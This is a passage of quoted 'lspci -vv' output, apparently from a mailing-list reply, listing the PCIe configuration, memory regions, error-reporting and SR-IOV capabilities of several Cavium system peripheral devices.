> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fa
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:07:00.0 System peripheral: Cavium, Inc. Device a0f9 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 846200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc800000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1024 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fa
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:08:00.0 System peripheral: Cavium, Inc. Device a0f9 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 847200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc880000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1024 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fa
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:09:00.0 System peripheral: Cavium, Inc. Device a0f9 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 848200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc900000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1024 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fa
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:0a:00.0 System peripheral: Cavium, Inc. Device a0f9 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 849200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc980000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1024 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fa
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:0b:00.0 System peripheral: Cavium, Inc. Device a0f9 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 84a200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fca00000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1024 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fa
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:0c:00.0 System peripheral: Cavium, Inc. Device a0f9 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 84b200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fca80000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1024 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fa
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:0d:00.0 System peripheral: Cavium, Inc. Device a0f9 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 84c200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fcb00000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1024 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fa
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:0e:00.0 System peripheral: Cavium, Inc. Device a0f0
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 84d200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fcb80000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
